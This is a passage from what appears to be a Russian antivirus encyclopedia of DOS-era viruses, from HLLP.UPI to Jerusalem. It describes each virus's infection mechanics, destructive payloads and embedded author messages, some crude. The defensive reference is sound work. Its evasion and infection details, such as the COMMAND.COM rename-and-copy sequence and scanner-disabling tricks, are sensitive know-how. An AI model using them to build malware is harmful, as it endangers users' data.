Violated by Ludvi(r)ka L. PC virus !!!
После чего пытаются удалить файл CONFIG.SYS на текущем диске.
HLLP.UPI
Очень опасный нерезидентный вирус. Упакован PKLITE. Пытается удалить
или разрушить файлы, имеющие расширения PAS,BAS,TXT,BAK,PCX,MID,PIC,
CUT,C,ARC,PAK,ZIP,LZH,ICE, CHZ, ARJ. Содержит текст "Data Terminator
1.2,1993,UPI".
HLLP.Viper.7792
Неопасный нерезидентный вирус, написанный на Turbo Pascal в формате EXE
-файла и упакованный компрессором PKLITE 1.12. Производит поиск файлов
a*.*cOm и a*.*exE в каталогах, доступных через переменную PATH. Создает
файл $viper$.TmP, в который копирует программный код стартовавшей
инфицированной программы. При нахождении файла-жертвы, вирус создает
файл $viper$.tm1, записывает в него 7792 байта вирусного кода, после
чего копирует в этот файл программный код файла-жертвы. Удаляет
файл-жертву и присваивает файлу $viper$.tm1 имя файла-жертвы. По
окончании своей работы вирус запускает файл $viper$.TmP, после чего
удаляет его.
HLLP.Vova.xxxxx
Опасные вирусы, написанные на Turbo Pascal в формате EXE-файла.
Зашифрованы. Внедряются в начало файлов, сдвигая весь программный код в
конец на длину вируса. Изменяют в инфицированных файлах инструкции INT
21h (CDh 21h) на INT 65h (CDh 65h). Создают в текущем каталоге файл
\VIR и записывают в него вирусный код. Производят поиск файлов *.COM и
*.EXE. HLLP.Vova.10896 ищет файлы *.CAM и *.EXO!? Переименовывают
найденный файл в файл v c помощью командного процессора. Например, если
имя файла C:\FILE.EXE, а командным процессором является COMMAND.COM, то
вирус запускает COMMAND.COM /c ren C:\FILE.EXE C:\v. Дальше файл /VIR,
содержащий вирусный код и файл v копируются в файл, имеющий
первоначальное имя: COMMAND.COM /c"nul copy/b \VIR + C:\v C:\FILE.EXE.
После этого вирус удаляет файл v: COMMAND.COM /c del C:\v. При этом
командным процессором на экран выводится сообщение об удалении файла (1
file(s) deleted). HLLP.Vova.10448, 10960 12 июля проигрывают музыку.
HLLP.Vova.10896, 11312, 12240, 12560 воспроизводят такую же мелодию 11
числа любого месяца. Вирусы содержат тексты:
HLLP.Vova.10448 -
***ProfVovaVir 5.1 (MUSICMUTANT),HAPPY BRITHDAY to YOU !!!,for Lena of
UAI(теперь универс.),economicfac.,city Ufa O(c) 1992-94 by Vova,
Bashkortorstan,12/7/94 (max. probability accident=1/128)***
HLLP.Vova.10896 -
***ProfVovaVir 7.11 (MUSICMUTANT),Give my best regards to LENA !!!G(c)
1992-93 by Vova of Ufa,11/9/93 (max. probability accident=1/128)***
HLLP.Vova.10960 -
***ProfVovaVir 5.3 (MUSICMUTANT),HAPPY BRITHDAY to YOU !!!,for Lena
of UAI,economicfac.,city Ufa O(c) 1992-94 by Vova,Bashkortorstan,
11/9/93 (max. probability accident=1/128)***
HLLP.Vova.11312 -
***ProfVovaVir 8.11 (MUSICMUTANT),Give my best regards to LENA !!!H(c)
1992-94 by Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vova.12240 -
***ProfVovaVir 9.3 (Ghost),Give my best regards to LENA !!!H(c) 1992-94
by Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vova.12560 -
***ProfVovaVir 10.1 (INVECTOR) , Give my best regards to LENA !!! J (c)
1992-94 by Vova of Ufa,11/03/94 (max. probability accident=1/128)***
HLLP.Vova.12704 -
***ProfVovaVir 7.2 (MUTANT),HAPPY BRITHDAY to LENA !!!H(c) 1992-94 by
Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vova.13168 -
***ProfVovaVir 9.2 (MUTANT),HAPPY BRITHDAY to LENA !!!H(c) 1992-94 by
Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vs&W.5062, 5175
Опасные нерезидентные вирусы. 13 августа уничтожают 16 первых секторов
первого жесткого диска. При попытке заражения на защищенном от записи
диске вирусы выводят тексты:
HLLP.Vs&W.5062:
Вирус REFLY не может быть запущен, т.к. диск защищен от записи
HLLP.Vs&W.5175:
Ты зачем диску от записи защитил
Иногда выводят сообщения:
HLLP.Vs&W.5062:
В памяти найден вирус REFLY. Нажмите любую клавишу для перезагрузки.
Санкт-Петербург, 1995, Max Hacker ( 14 years old )
HLLP.Vs&W.5175:
Краткая характеристика на Дмитрия Нагиева:
Состоял в партии. Какой? Историкам выяснить не удалось!
Был членом. Каким? Историкам тоже выяснить не удалось
Я люблю радиостанция МОДЕРН. ( 104 MHz, Санкт-Петербург )
А также содержат всяческие бредовые тексты:
________.,---------------
.._ _______
`-.____`.-'~
Max Hacker
~`-,'____,-'
`-.___\
(c) Copyrigth 1995
/___,-'
`-._"-.._________________
.,-"_,-'
REFLY VIRUS Reboot and fly
HLLP.Weed.4080 (1,2), 5850 (1-5)
Опасные нерезидентные вирусы. Могут разрушить некоторые файлы при
заражении.Упакованы LZEXE. HLLP.Weed.4080 содержит текст "WEED - v1.1".
HLLP.Xenia
Опасный нерезидентный вирус. В зависимости от своих счетчиков может
уничтожить MBR и вывести текст:
Out of enviroment space
Memory allocation error, system halted.
А также в период с 2.00 до 4.00 выводит текст:
...Xenia... i will not forgive your treachery... ...but I love you... (S`96)
...hard disk 1 seems to be non-DOS disk...
и пытается отформатировать первую дорожку первого жесткого диска.
HLLP.Zenit
Неопасный нерезидентный вирус. Написан на Turbo Pascal. Иногда выводит
текст:
-------- ----- ------ -------
- -- ----- --- --- --- ---
--- --- --- --- ---
---- --------------------------------- -- --- --- ---
--- ------- - - - - - -------- --------
------- ------- ------- - --- - --- --- ---
-- - - - - ---- - - --- --- ---
-- -- ------- - - - - - --- --- --- ---
-- -- -------- -------
-- ---
--- Санкт-Петербургский
Футбольный клуб "ЗЕНИТ"!
FAN CLUB 33
Лучше клуба нам не надо, чем ЗЕНИТ из Ленинграда
-----------------------------------------------------------------------¬
¦ З Е Н И Т - F O R E V E R ¦
L-----------------------------------------------------------------------
Владимир Кулик, Игорь Данилов (футболист, а не вирусолог), Денис Зубко
Борис Матвеев, Сергей Дмитриев, ... , и, конечно же, П.Ф. Садырин
Hobo.369
Неопасный резидентный вирус. Иногда создает файл "'Hobo'" и записывает
в него текст "Created by Sozer".
Holera.1488
Очень опасный резидентный вирус. В файлы, имеющие расширения TXT и CPP,
вирус записывает тексты: "На дворе трава, на траве дрова... Special
for MIEM" и "Карл у Клары украл караллы, а Клара у Карла украла
кларнет..." соответственно. Содержит текст "HOLERA II".
Holiday.2900
3 марта выводит сообщение:
г================================================================¬
¦ ATTENTION! ¦
¦ I'm very sorry, today is my holiday. ¦
¦ So, I can't serve you, cause I want to play on your computers. ¦
¦ ¦
¦ DON'T TURN OFF YOUR COMPUTER UNTIL TOMORROW, ¦
¦ OR YOUR DATA WILL BE LOST!!! ¦
¦ ¦
¦ I'll be back to serve you tomorrow. ¦
¦ Thank You, ¦
¦ ¦
¦ AAA ¦
L================================================================-
После чего ждет наступления 4 марта. Если этот день наступил, то вирус
выводит текст:
Thank You for playing, see you...
Please, hit ENTER!
Holms.6161
Полиморфный вирус с очень серьезным алгоритмом шифрования. Пытается
скрывать свое присутствие в компьютере - продлить свой "инкубационный"
период. Для этого вирус подсчитывает контрольную сумму участка ПЗУ и
запоминает ее. Если CRC ПЗУ при старте вируса не совпадает с ранее
запомненной, то вирус устанавливает свою TSR-копию в память и заражает
файлы. Если CRC совпадает - вирус активизируется с 17 числа месяца или
через неделю после заражения данного файла. Т.о., в каждом зараженном
файле хранится CRC участка ПЗУ и информация о времени его заражения.
При заражении файла самостоятельно создает файл со случайным именем без
расширения, копирует в него содержимое файла-жертвы, и удаляет
файл-жертву. Заражает созданный файл и присваивает ему имя
оригинального, ранее удаленного файла.
При активном резидентном вирусе, при одновременном нажатии на левый и
правый Shift, вирус проигрывает мелодию из фильма "Шерлок Холмс и
доктор Ватсон" или прерывает ее. Файл COMMAND.COM вирус не заражает. В
теле вируса имеются текстовые строки: "PATH=COMMAND COMEXE*.*",
"Copyright 1989-1992. Version 1.05-NC for antivirus program debugging."
и "Holms.".
Hoodoo.4456
Опасный нерезидентный шифрованный вирус. Под отладчиком или 21 числа
месяца уничтожает содержимое жесткого диска и выводит на экран текст:
---- ---- ---------- ---------- ----------- ---------- ----------
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
------------- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---------- ---------- ----------- ---------- ----------
HOODOO V1.0 (c)1996 by Terminus
Horsa.1185, 1230
Неопасные нерезидентные вирусы. Ищут *mand.com-файлы.Производят чтение
и запись в файлы с помощью INT 25h, 26h (дисковые чтение, запись через
драйверы DOS).
Horse.1776
Неопасный резидентный вирус. Проявляется видеоэффектом, заимствованным
из вируса Ping-Pong - скачущий по экран шарик.
Hydra.1162, 1649
Неопасные резидентные шифрованные вирусы. В нечетный месяц и при
равенстве значений дня и месяца вирусы выводят текст:
Hydra.1162 -
This is Hydra v1.0.
Don`t panic, I will not destroy your data.
Hydra.1649 -
This is Hydra v1.1.
Don`t panic, I will not destroy your data.
Hydra.1649 также производит движение букв на экране и ждет нажатия на
клавишу.
Hymn.1865, 1962 (1,2), 2144
Опасные резидентные (Hymn.1962 , 2144 - шифрованные) вирусы.
Работоспособны только в MS-DOS версии 3.30. В день, значение которого
совпадает со значением месяца, вирусы обнуляют некоторую служебную
информацию в активном загрузочном секторе первого жесткого диска,
фальшиво исполняют Гимн СССР и выводят следующую картинку:
¦------------------------------¦ ¦------------------------------¦
¦ USSR ViruSoft (c) v1. 1990 ¦ ¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦------------------------------¦ ¦-¦------------------------------¦
¦ USSR ViruSoft (c) v1. 1990 ¦ ¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦------------------------------¦¦-¦------------------------------¦
¦ USSR ViruSoft (c) v1. 1990 ¦¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦---------------------------¦-¦------------------------------¦
¦ USSR ViruSoft (c) v1. 19¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦-----------------------¦-¦------------------------------¦
¦ USSR ViruSoft (c) v1¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦-------------------¦-¦------------------------------¦
¦ USSR ViruSoft (c)¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦---------------¦-¦------------------------------¦
¦ USSR ViruSoft¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦-----------¦-¦------------------------------¦
¦ USSR Viru¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦-------¦-¦------------------------------¦
¦ USSR ¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦---¦-¦------------------------------¦
¦ US¦ USSR ViruSoft (c) v1. 1990 ¦
¦-¦-¦------------------------------¦
¦ USSR ViruSoft (c) v1. 1990 ¦
¦------------------------------¦
Hypervisor.3120, 3128
Опасные резидентные вирусы. Определяют наличие локальной сети и
предпринимает попытки "взлома" сети Novell. Содержат тексты:
HYPERVISOR
SECURITY_EQUALS
SUPERVISOR
GROUPS_I'M_IN
PASSWORD
IDENTIFICATION
IDENTIFICATIONThe
Hypervisor
LOGIN_CONTROL
SYS:SYSTEM/SYS:LOGIN/
NET$BIND.SYS NET$BVAL.SYS NET$OBJ.SYS NET$PROP.SYS NET$VAL.SYS
SECURITY_EQUALS
SUPERVISOR
GROUPS_I'M_IN
PASSWORD
IDENTIFICATION
IDENTIFICATIONThe
LOGIN_CONTROL
Hypnotiser.1784
Неопасный резидентный шифрованный вирус. Уничтожает файлы chklist.ms.
Не активизируется при запуске в DOS-сессии MS-Windows, а также пытается
удалить свою копию из памяти при запуске Windows. 10 числа месяца
выводит на экран "радужные" картинки и слово "HYPNOTiSER". Содержит
текст "HYPNOTiSER. By bQ".
Hzp.512
Содержит строку "ANVLDShzpfym01".
Ice.659
Содержит строку "Mohova N.I. is my love!Ice".
Ice.734
Довольно часто оригинальным образом стирает последовательно в каждом
столбце экрана все буквы и цифры.
Ice.746
Очень опасный резидентный вирус. "Перехватывает" INT 10h, 21h. При
выводе символов на экран (f.9 Int 10h) периодически удваивает или
утраивает количество выводимых символов. А также портит первый байт
случайных секторов текущего диска. Содержит текст "Ice".
Iceland.848
Неопасный резидентный вирус. Заражает каждый 10 стартующий EXE-файл. 24
декабря выводит на экран текст "GlеМileg jвl".
Ida.1490
Неопасный резидентный полиморфный вирус. Пытается найти на экране слово
"VERA" и меняет его на "IVeronika !". Содержит текст "[IDA] v0.01
Serg_Enigma".
Ieronim.512, 560, 570, 600, 1020, 1024, 1166, 1492, 1596, 2000, 2539
В начале каждого часа выводят на латыни или на английском языке текст
(Ieronim.512, 560, 570, 600 только на латыни):
---------------------------------------¬
¦ Mulier pulchra est janua diaboli, ¦
¦ via iniquitatis,scorpionis percussio.¦
¦ St. Ieronim ¦
L---------------------------------------
---------------------------------------¬
¦Beautiful woman is a devil's entrance,¦
¦a way of misfortunes,a scorpion's bite¦
¦ St. Ieronim ¦
L---------------------------------------
Ieronim.1492, 1596, 2000, 2539 при старте программы AIDSTEST.EXE
выводят на экран текст:
- infected (aidstest.exe) - CURED
Могут создать файл dirinfo, содержащий обрывки текста, приписываемого
святому Иерониму.
Ieronim.1082
При нажатии на клавишу F1 выводит на экран:
г===========¬
¦ ¦
¦ ПOMOГИТЕ! ¦
¦ ¦
L===========-
При 4ом нажатии на F1 появляется текст:
г===========¬
¦ ¦
¦ ПOMOГИТЕ! ¦
¦ ¦
L===========-
г=======================================¬
¦ ¦
¦ Слушай, дорогой, отстань, пожалуйста! ¦
¦ ¦
L=======================================-
А при 5ом нажатии на F1:
г===========¬
¦ ¦
¦ ПOMOГИТЕ! ¦
¦ ¦
L===========-
г=========================¬
¦ ¦
¦ Лозинский тебе поможет! ¦
¦ ¦
L=========================-
Ieronim.1581
Иногда выводит на экран "романтическую балладу":
Le voyage de condom
Pомантическая баллада
Использованные презервативы О,сколько их,изделий из резины,
Плывут неспешно по Москве-реке. Поглотят бездны мрачные морей!
В воде их ловят кооперативы Но,по волнам скитаясь непрестанно
И сушат за углом невдалеке Не всем тонуть - кому-то и всплывать...
И снова продают,и будут долго Один из них достигнет океана
Препятствовать рождению детей... И станет вокруг света дрейфовать...
Но в срок положенный впадают в Волгу И будет путь его тернист и долог,
Буржуйских избежавшие сетей. И в ночь,когда муссонный ливень льет,
Их рыбы жрут,их чайки жрут,и вскоре Его поймает тралом ихтиолог,
Сдыхают от закупорки кишки... Что пятый день,не просыхая,пьет.
Но уцелевшие впадают в море, И внятный голос музы он услышит,
Качаясь на волнах,как поплавки. И,ощущая творческий порыв,
Нептун колеблет зыбкие глубины, Сейчас же диссертацию напишет
И гонит тучи по небу Борей... На тему:"Контрацепция у рыб".
Ighty.1156
Неопасный резидентный вирус. 31 числа вешает систему.
Implant.6182
Опасный полиморфный файлово-загрузочный стелс-вирус. Заражает COM, EXE,
SYS-файлы, MBR первого жесткого диска и загрузочные сектора дискет. При
заражении флоппи-дисков вирус форматирует дополнительную дорожку для
размещения исходного загрузочного сектора и своего продолжения. При
старте программ AR*.*, PK*.*, LH*.*, BA*.* (ARJ, PKZIP, LHA и BACKUP)
вирус выключает свой стелс-режим. При старте программы WIN.COM, вирус
добавляет в ее командную строку параметр /D:F (отключение 32-битного
доступа к диску). Если стартует программа TBSCAN, то вирус добавляет в
командную строку параметры "co" и "nm", которые отключают прямой доступ
к диску (compability mode) и проверку памяти. Вирус не заражает файлы
TB*.*, SC*.*, F-*.*, GU*.*, а также файлы в именах которых присутствуют
буквы "V", "MO", "IO", "DO", "IB" и цифры 0-9. Вирус отказывает в
доступе к файлам CHKLIS*.*. 4 июня вирус пытается уничтожить содержимое
нулевой дорожки (но это ему не удается из-за ошибки) и выводит
сообщение:
""" SuckSexee Automated Intruder """
Viral Implant Bio-Coded by Griyo/29A
IOerror.516
Записывает свою TSR-копии в область видеопамяти F9B4:0000. Если при
заражении файла происходит ошибка ввода-вывода, то вирус выводит
сообщение "IO_error".
Innoxious.1351
Неопасный резидентный вирус. После октября 1995 года выводит текст:
Innoxious Bug 2.02 'The Sad Flasher' (c) 1994-95 Bugsoft-IU7, MSTU, Moscow.
We offer our apologies for possible data destruction.
Inoculation.1786, 1819
Неопасные резидентные вирусы. Сами себя относят к классу "антивирусов".
При заражении файлов, уже инфицированных вирусами Inoculation, эти
вирусы пытаются удалить из файлов "новоявленных гостей". Перехватывают
INT 2Fh. При запуске программы SCAN вирусы выводят текст:
AntiVirus
If your software has been
inflected by other viruses,
run your software, then the
virus will be cleaned !
THANK YOU!
--Mr. MeiHua--
Int10
Неопасный загрузочный вирус. "Перехватывает" INT 10h, 13h, 1Ch. В
декабре производит некий видеоэффект, похожий на звездное небо.
Int12
Неопасный загрузочный вирус. При заражении загрузочных секторов дисков
производит поиск строки "NON-SYSTEM DISK", написанную, как заглавными,
так и прописными буквами. И сразу за этой строкой вирус записывает 40
байт своего кода, который "перехватывает" INT 12h и читает в память
последний сектор диска. В этот последний сектор вирус записывает свой
основной код. Вирусный обработчик INT 12h производит "перехват" INT 13h
и "освобождение" ранее захваченного INT 12h. Вирус содержит строку
"LOVE".
Int13
Опасный резидентный вирус. Перехватывает INT 13h, INT 21h. Записывает
свой код в начало программ, причем оригинальное начало файлов может
быть утеряно. Как правило, восстановить инфицированные файлы не
предоставляется возможным. Внутри имеется строка "Int 13".
IntC1
Неопасный загрузочный вирус. Размещает свою резидентную копию во второй
половине таблицы векторов прерываний. Для заражения флоппи-дисков
"переназначает" вектор INT 40h на INT 0C1h.
IntCE
Опасный загрузочный вирус. После 120 загрузок с жесткого диска
уничтожает случайные сектора жесткого диска.
Internal.1381, 1459
Неопасные нерезидентные вирусы. Иногда могут произвести самоизлечение
стартовавшего файла и вывести среди на экран "среди мусора" сообщение:
INTERNAL ERROR 02CH.
PLEASE CONTACT YOUR HARDWARE MANUFACTURER IMMEDIATELY !
DO NOT FORGET TO REPORT THE ERROR CODE !
Inferno.781
Опасный резидентный зашифрованный вирус. Может уничтожить MBR жесткого
диска. Содержит текст "NAME OF THIS VIRUS IS "INFERNO" NEXT VERSION
WILL BE BETTER...".
IntFF
Во всей записываемой на диск информации может изменять
последовательность байт 0CDh 21h (INT 21h) на 0CDh 0FFh (INT 0FFh).
Изменяет символы, введенные с клавиатуры.
Invisible.2926, 3223
Опасные полиморфные вирусы. При старте инфицированной программы
заражают MBR. Вирусный код в MBR также является полиморфным. Трассируют
INT 13h, 21h. В зависимости от системной даты могут записать в
стартующие файлы 411 или 602 байт кода, проигрывающего мелодию и
выводящего на экран текст песни Invisible Man:
I'm the invisible man,
I'm the invisible man,
Incredible how you can
See right through me.
I'm the invisible man,
I'm the invisible man,
It's criminal how I can
See right through you.
Содержат тексты:
Invisible.2926 - "The Invisible Man - Written in SALERNO (ITALY),
October 1992. Dedicated to Ester: I don't know either how or when,
but I will hold you in my arms again.".
Invisible.3223 - "The Invisible Man II - Written in SALERNO (ITALY),
December 1992. Dedicated to E.F.: I don't know either how or when,
but I will hold you in my arms again.".
IronE
Неопасный шифрованный стелс-Boot-вирус. Заражает Boot-секторы жестких и
гибких дисков. Перехватывает INT 08, 13h, 21h, 40h. Содержит текст
"(IronE 2.3)".
Itv.449
5 мая и 16 сентября выводит на экран текст "Viva МВxico!". Содержит
текст "ITV85020203 1990.".
Itavir.3187
Очень опасный нерезидентный вирус. Поиск и заражение EXE-файлов
производит через дисковые DOS прерывания INT 25h, 26h. Уничтожает
содержимое дисков. Содержит тексты:
AZione rada•OMMAND COM
A:\•OMMAND.COM 0123456789ABCDEFper questa volta.........
.......AHI..AHI..AHI.......
Ho proprio l`impressione di essere un Virus
Maligno,......
Molto maligno (naturalmente)
Non vi rimane che da azionare l`interruttore
AUGURI!!!.....................
IVP.814
Неопасный нерезидентный шифрованный вирус. Содержит тексты "XA-XA 4.0",
"A.L.S.".
IVP.April
Очень опасный нерезидентный шифрованный вирус. В апреле выводит текст:
-------------------------------------------------------------------
Once again arrives April showers,
The Devil came out to use his evil powers.
He arose from his sacred den,
To forget and do one of his evil sins.
The Devil came forth to a rich occupied land,
And gathered black dark clouds from storms with his bare hands.
Strikes of lightening, large and bold,
Murdered many, from the young to old.
Creatures and critters ran for their life,
But the rushing waters drowned their lives.
"The devil has left!" cried from the joys,
Of the few remainding survivors saved by the lord.
The sunshine beamed down from the dark blue sky,
The ending of April as March came by.
The fears of April showers will always remain,
Just wait till next year, as the Devil will stike again.
-------------------------------------------------------------------
и уничтожает 256 первых секторов дисков A:, B:, C:, D:, E:, F:, G:, H:,
X:, Y:, Z:. Содержит строку "April-ShowersUnknowN".
Izhevsk.3474
Неопасный резидентный шифрованный вирус. Иногда может завесить систему
и вывести текст:
-------------------------------------¬
¦ ¦
¦ Waiting for halting system... ¦
¦ ¦
L-------------------------------------
Содержит текстовую строку "(C) Izhevsk 1996".
J&M
Опасный загрузочный вирус. 15 ноября форматирует нулевую дорожку
жесткого диска. Имеет текст "J&M".
Jabber.334
При старте выводит на экран текст "Jabberwocky attack another time".
Jain.1614
Очень опасный резидентный вирус. После 13 июня в четверг уничтожает
содержимое первого жесткого диска.Содержит строку "12.04.1994 JAIN S.".
Jdc.5421, 6891, 7474, 7611, 7616
Jdc.5421, 7474, 7616 - неопасные нерезидентные шифрованные вирусы.
Jdc.6891,7611 - опасны; 1 апреля уничтожают MBR, записывая в него
загрузчик программы FFORMAT, а 13 апреля содержимое дисков. Иногда
выводят на экран текст:
-----------+ You have a VIRUS now +-----------¬ - ° Press any key °-
¦ - -T--¬ -T--¬ -T--¬ -¬ -¬ ¬ - ¦ - to continue -
¦ ---- ¦¦ ¦ ¦+- ¦+- ¦¦ L+ ¦ ---- ¦ - -------------------------
¦ ---- L+-+- L+--- L+--- o L-+- L--- ---- ¦ -
¦ -- TT--¬ -T--¬ -¬ ¬ ¬ -T--¬ -T-¬ -- ¦ -
¦ -- ¦¦ ¦ ¦+-T- ¦¦ ¦ ¦ ¦+- ¦+-+¬ -- ¦ -
¦ - ++--- L- L L+-+-- L+--- L+--- - ¦ -
+-------------------------T-------------------+ -
¦ --------------- ------ ¦ This program ¦ -
¦ --- --- ------ ---¦ created special ¦ -
¦ --- --- ------ ¦ for ¦ -
¦ --- --- --- ------ ---+---+ ]\/[ Z \/ +---+ -
¦ ------ ------- ------ ¦ Copr (c) 1997 JDC ¦ -
L-------------------------+-------------------- -
-------------------------------------------------
T T T -T- г--¬ T--¬ г--¬ T T T г-¬ ¬ г--¬ г--- г--¬ г--¬ T T T -
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ L-¬ - L--+ L--¬ --- ¦ ¦ ¦ ¦ ¦ L--+ -
L-¦-- -¦- ¦ + ¦--- L--- L-¦-- L--- L--- ---- L--- ¦ + ¦--- L--- -
T--¬ г--¬ T--¬ T г-----¬ г--T--¬ T-----¬ T-----¬ г-----¬ -
¦- ¦ ¦ ¦-T- ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ -
¦ L--- ¦ + ¦ ¦-----+ ¦ ¦ ¦ ¦-- ¦---T-- L-----¬ -
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ -
¦------ ¦ + ¦ ¦ + ¦------ ¦ +- L------ -
----------------------------------------------------------------------------
Также содержат в своем теле тексты:
A JDC PRODUCTION
If you want to contact us, call:
809-5100 and 809-5031
=========================================
-----¦QEE.JV.DrWeb¦----------------------
Designed for ---[ ]\/[ Z \/ ]---(R)
-----------------------------------------
Copyright (c) 1997 John Darland Computing
QEE (c) 1996-97 JDC
Portions Copyright (c) 1996 XtT Co.
=========================================
WiNDOWS '95 - ONLY FOR L·A·M·E·R·S
=========================================
[їDC] [їDC] [їDC] [їDC] [їDC] [їDC] [їDC]
=========================================
___
\!/ This program uses
FSO technology
Есть один просьб!!! Назовите этот виръ его родным именем (QEE.JV.DrWeb)...
Или на худой конец как-нибудь типа QEE.JV.AntiWin95.
И еще: этот вирус не имеет никакого отношения к MZV.333
---[ QEE 1.33 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
Warning: Dr.Web HA (Heuristic Analizer) not supported now.
This program requires 80386 or better.
Jdc.6891 также содержит и такие тексты:
=========================================
----¦QEE.D-Version¦----------------------
Designed for ---[ ]\/[ Z \/ ]---(R)
Internal revision: 005
-----------------------------------------
Copyright (c) 1997 John Darland Computing
QEE (c) 1996-97 JDC
-----------------------------------------
This is D-VERSION!!! (Pre-release)
=========================================
WiNDOWS '95 - ONLY FOR L·A·M·E·R·S
=========================================
[JDC] [JDC] [JDC] [JDC] [JDC] [JDC] [JDC]
=========================================
===[ Messages ]========================================
To Antivirus creators:
"Please name this virus QEE.DVersion"
To I.A. Daniloff:
"Hello Igor! Я вот тут веб 20ый смотрел...
Меня откровенно прикололо, КАК он лечит зараженные
PKLite'нутые файлы. До 46 байт!!! Только они почему-
то не работают. Наверное это от того, что от файлов
остается только блок перемещения распаковщика, да и
то испорченный.
Ну вот и все.
P.S. Что ж в вирлисте так много написал? А че, слабо,
что ли, условия проявлений определить? Вафлизм какой-
то.
P.P.S. Так как каждая версия Веба что-нибудь, да не
так лечит, предлагаю все версии веба назвать бетой, и
распространять их, соответственно, бесплатно. Как я.
P.P.P.S. Э-э-э, Игорь, я думал ты один такой, а вас,
оказывается, двое. Ты, наверное, голубой."
===[ T·H·E E·N·D ]====================================
--[ QEE 1.42 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
Jdc.7474 содержит и такие тексты:
===[ Future ]==========================================
You will see in next version:
- Improved encryption engine [50% done]
- 2 new encryptors:
- RCG (Random Code Generator) [10% done]
- TTT (The Time Tracer) [ 0% done]
- More cool Windows'95 halter [ 0% done]
Possibly:
- Int 21h tracing
===[ Messages ]========================================
To Antivirus creators:
"Please name this virus QEE.JV.DrWeb or QEE.JV.Anti95
or, in other case, QEE.AntiWin95. It is only first
virus from large family"
===[ Thanks ]==========================================
To: NM ( ]\/[ Z \/ ), VD (S&K, VI), DP (xxx), PP (xxx),
DZ (
P), ID (P) and others...
===[ T·H·E E·N·D ]====================================
Jdc.7611 может создать троянский файл SVGADEMO.PAS с заголовком
"{Демонстрация SVGA-режимов}". Если в командной строке задан ключ /JDC,
то вирус выводит текст:
г===========================================¬
¦ Virus info requested ¦
¦===========================================¦
¦ ]) - \/ERSi0N PFR, Copyright (c) 1997 JDC ¦
¦ Written special for ---[ ]\/[ Z \/ ]--- ¦
¦-------------------------------------------¦
¦ Full name: D-Version Post Final Release ¦
¦ Internal name: QEE.DVersion ¦
¦ Family: DrWeb ¦
¦ Release: 007 ¦
¦ Generation: 003 ¦
L===========================================-
Jdc.7611 содержит в себе LHA - архив с файлом VIRINFO.TXT, который
содержит тексты:
=========================================
----¦QEE.D-Version¦----------------------
Designed for ---[ ]\/[ Z \/ ]---(R)
Internal revision: 007
-----------------------------------------
Copyright (c) 1997 John Darland Computing
QEE (c) 1996-97 JDC
-----------------------------------------
This is D-VERSION!!! (Post Final Release)
=========================================
WiNDOWS '95 - ONLY FOR L·A·M·E·R·S
=========================================
[JDC] [JDC] [JDC] [JDC] [JDC] [JDC] [JDC]
=========================================
===[ Messages ]========================================
АВТОР ОТВЕСТВЕННОСТИ ЗА СВОИ ВЫСКАЗЫВАНИЯ НЕ НЕСЕТ
-------------------------------------------------------
. . . Вырезано цензурой . . .
===[ T·H·E E·N·D ]====================================
Также в Jdc.7611 имеются и другие тексты:
---[ R./+.\/.E. ]-[ Random AntiUSER Virus Engine, Copr. 1997 JDC ]---
Почему RANDOM? Не знаю...
""" LHA ARCHIVE BEGINS HERE """
""" LHA ARCHIVE ENDS HERE """
---[ QEE 1.44 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
This program requires 80386 or better.
Fucked file is currupt.
Jdc.7616 тоже имеет в своем теле обладающие редкой сообразительностью
тексты:
Sorry, there is a small error:
this program is incompotible with PC-DOS... :(
===[ Future ]==========================================
You will see in next version:
- 2 new encryptors:
- RCG (Random Code Generator) [10% done]
- TTT (The Time Tracer) [ 0% done]
- More cool Windows'95 halter [ 0% done]
Possibly:
- Int 21h tracing
===[ Messages ]========================================
To Antivirus creators:
"Please name this virus QEE.JV.DrWeb or QEE.JV.Anti95
or, in other case, QEE.AntiWin95. It is only first
virus from large family"
===[ Thanks ]==========================================
To: HR ( JDC ), VD (S&K, VI), DP (xxx), PP (xxx),
DZ (
P), ID (P) and others...
===[ T·H·E E·N·D ]====================================
--[ QEE 1.41 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
JDC.6891, 7474, 7616 при заражении файлов, упакованных PKLITE, внедряют
фрагменты своего кода в середину распаковщика. Лечение таких файлов
будет некорректным.
Jerusalem (1,2)
Опасные резидентные вирусы. Рисуют в левом нижнем углу черный квадрат и
существенно замедляют скорость работы компьютера. В пятницу 13 числа
удаляют все запускаемые программы.
Jerusalem.Barcelona
Неопасный резидентный вирус. Иногда выводит сообщение:
CATALUNYA LLIURE
FORA LES FORCES D`OCUPACIO
MORT ALS TERRORISTES TRICORNUTS
Jerusalem.Canary.1970
Иногда мигает экраном и исполняет какую-то мелодию. Содержит строку
"\COMMANDMC70: Moroccan Canary".
Jerusalem.Cvex.5120 (1-10), 6144, 6400
Некоторые из этих вирусов являются опасными. 10 июня они уничтожают
содержимое первых 17 секторов жесткого диска. Jerusalem.Cvex.6144,6400
являются опасными полиморфными вирусами. Вирусы содержат тексты на
китайском и английском языках:
